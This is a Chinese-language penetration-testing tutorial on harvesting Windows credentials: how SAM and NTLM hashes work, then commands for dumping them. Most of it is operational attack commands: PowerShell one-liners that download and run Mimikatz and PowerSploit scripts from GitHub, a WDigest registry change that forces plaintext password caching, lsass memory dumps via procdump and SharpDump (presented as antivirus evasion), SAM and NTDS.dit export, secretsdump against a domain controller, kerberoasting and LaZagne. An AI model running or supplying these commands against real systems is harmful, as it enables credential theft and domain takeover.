0x01 基础了解:
SAM(安全账户管理器):存放在注册表中,用来存储Windows操作系统密码的数据库文件,SAM文件中保存的是明文密码经过一系列算法处理过的Hash值,被保存的Hash分为LM Hash(已废弃)和NTLMHash(长度32bit由字母数字组成),现在用户凭证是以NTLM HASH形式保存。在用户在本地或者远程登陆系统时,会将Hash值与SAM文件中保存的Hash值进行对比。
username:RID:LM-HASH值:NTLM-HASH值
window下uid号为500的即为管理员权限(linux为0)
比如:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
NTLM-Hash的生成方法为:
1.将明文口令转换成十六进制的格式
2.转换成Unicode格式,即在每个字节之后添加0x00
3.对Unicode字符串作MD4加密,生成32位的十六进制数字串
这里我们以密码:123456,作为例子
十六进制为 313233343536
Unicode字符串为 310032003300340035003600
NTLM-Hash为 32ed87bdb5fdc5e9cba88547376818d4
LM-Hash(LAN Manager Hash)是微软的一种散列加密算法,本质为DES加密
具体原理请参考:安全科普:详解Windows Hash与破解、LM-Hash && NTLM-Hash
当LM Hash是aad3b435b51404eeaad3b435b51404ee,它对大小写不敏感,这表示空密码或者是未使用LM_HASH。这里不做过多解释,因为从Windows Server 2008版本开始,系统禁用了LM hash
获取hash的工具
powershell脚本(需要管理员权限):
# Get-PassHashes.ps1
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
# Invoke-Mimikatz.ps1
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz
# Out-Minidump.ps1
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1'); "Get-Process lsass | Out-Minidump"
# 假设上一个命令生成了lsass_528.dmp,再用mimikatz从dumps中获取明文
mimikatz.exe "sekurlsa::minidump lsass_528.dmp" "sekurlsa::logonPasswords full" exit
这里有个问题就是mimikatz(包括powershell版),当系统为win10或2012R2及以上时,默认在内存缓存中禁止保存明文密码,如下图,密码字段显示为null
此时可以通过修改注册表,赋予进程lsass明文记录密码权限,然后发起进行锁屏命令,待管理员再次输入密码登陆系统,再次抓取将可获得明文密码。
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
mimikatz工具:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" "exit"
secretsdump.py:
导出域控所有hash,可能能直接获取明文密码
python secretsdump.py -hashes 0000000000000000000000000000000:187ff47deff1xxxxxxxxxxxxxxxxxxxx tester@192.168.107.189 -dc-ip 192.168.107.189
然后定位域控管理员,将这域管用户ntlm进行解密,然后登录域控
LaZagne工具
LaZagne是一款用于检索大量存储在本地计算机密码的开源应用程序。该工具不仅能抓取windows密码,还可以抓取浏览器中的缓存的密码、SVN密码、wifi密码、邮箱密码等功能,适用于windows、Linux、MAC
项目地址:https://github.com/AlessandroZ/LaZagne
运行命令:
pip install -r requirements.txt
python laZagne.py all
或者下载发行版exe:https://github.com/AlessandroZ/LaZagne/releases
Pwdump7.exe工具
项目地址:https://www.openwall.com/passwords/windows-pwdump
拷贝libeay32.dll和Pwdump7.exe在同一目录下
直接运行获取hash
wce工具:
项目地址:https://www.ampliasecurity.com/research.html
支持Windows XP, 2003, Vista, 7, 2008 and Windows 8
该工具分为32位、64位。它可以列举登陆会话,并且可以添加、改变和删除相关凭据
# 读取系统明文密码
wce.exe -w
# 获取hash
wce.exe -l
缺点:很容易被查杀
SAM表获取hash
导出导出SAM和System文件
reg save HKLM\SYSTEM system.save
reg save hklm\security security.save
reg save HKLM\SAM sam.save
将注册表的SAM、System文件导出到本地磁盘。
使用mimikatz读取SAM和System文件。可获取NTLM Hash
mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.save" exit
或者secretsdumps:
secretsdumps.py -sam sam.save -security security.save -system system.save LOCAL
metaploit 框架
在得到session的基础上,尝试抓取hash值。
metasploit支持多种hash获取。
1、hashdump
在system权限下,可抓取hash
2、windows/gather/smart_hashdump 脚本
run windows/gather/smart_hashdump
并将所有hash导出到:
/root/.msf4/loot/20200708154030_default_192.168.107.136_windows.hashes_667293.txt
3、load mimikatz 命令
加载mimikatz模块
常用命令:
msv # 获取hash
kerberos # 获取明文
ssp # 获取明文信息
tspkg # 尝试检索tspkg凭据
wdigest # 尝试检索wdigest凭据
mimikatz_command -f samdump::hashes # 获取hash
mimikatz_command -f sekurlsa::searchPasswords # 获取明文密码
个人感觉msf自带的mimikatz模块不是那么好用,不如直接upload一个mimimatz到目标机器上
NTDS.dit获取域控hash:
Windows系统为了保证用户明文密码不会被泄漏,将密码转换为HASH值进行身份验证,被保存在SAM或者ntds.dit中(mimitakz,procdump等等),域中的所有账号密码存放在Ntds.dit,如果拿到,相当于拿到整个域权限。这个思路在域渗透中尤为重要,因为这里面包含着所有域用户的hash,当然该思路只对DC生效。使用该方法不用担心被杀毒软件查杀,因为不需要上传任何工具去目标机上。
手动导出NTDS.dit和System,放在c:\users\tmp目录下:
ntdsutil "ac i ntds" ifm "create full c:\users\tmp" q q
提取用户hash,这里推荐使用NTDSDumpEx:
项目地址:https://github.com/zcgonvh/NTDSDumpEx
利用kerberoast+mimikatz配合获取明文密码:
SPN(服务主体名service principal name)是微软为了在域环境中方便管理资源而为每种资源分配设计的一种表示方法(或者说SPN是使用Kerberos身份验证的网络中唯一的标识符),凡是使用Kerberos身份验证的网络中,都必须在机器账号或用户账号下为服务注册SPN(每个使用Kerberos的服务都需要一个SPN)在内网中,SPN扫描通过查询向域控服务器执行服务发现。这对于红队而言,可以帮助他们识别正在运行重要服务的主机,如终端,交换机等。SPN的识别是kerberoasting攻击的第一步。
使用该方法有两个缺点:1.需要powershell 2.mimikatz容易被杀毒软件查杀。
查看指定域ROOTKIT.ORG注册的SPN:setspn -T ROOTKIT.ORG -Q */*
如果指定域不存在,则默认切换到查找本域的SPN
获取所有服务:Setspn -q */*
将票据导出:kerberos::list /export
查看所有的票据:
kerberoast下载地址:https://github.com/nidem/kerberoast
爆破密码:
免杀方案:
prodump.exe工具
该工具是微软出品的工具,具有一定免杀效果。设计初衷是抓取崩溃进程的内存数据,可监控应用程序的CPU异常动向, 并在此异常时生成crash dump文件, 供研发人员和管理员确定问题发生的原因。
项目地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
可以利用procdump把lsass进程的内存文件导出本地,再在本地利用mimikatz读取密码。
# 导出lsass.dmp
procdump.exe -accepteula -ma lsass.exe lsass.dmp
再使用mimikatz读取密码:
privilege::debug //提升权限
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
需要注意的是从目标机器导出的lsass.dmp需要在相同系统下运行。
SharpDump工具
Out-Minidump.ps1 脚本C#版本编译后的结果。
ps项目地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1
SharpDump项目地址:https://github.com/GhostPack/SharpDump/
把lsass.exe进程数据导出来
dump的文件的后缀名为bin,拖到本地机器上后,先重命名为 zip,然后再解压
并使用本地的mimikatz进行读取。
mimikatz.exe "sekurlsa::minidump debug572" "sekurlsa::logonPasswords full" "exit"
破解hash的网站:
https://www.objectif-securite.ch/en/ophcrack
http://cracker.offensive-security.com/index.php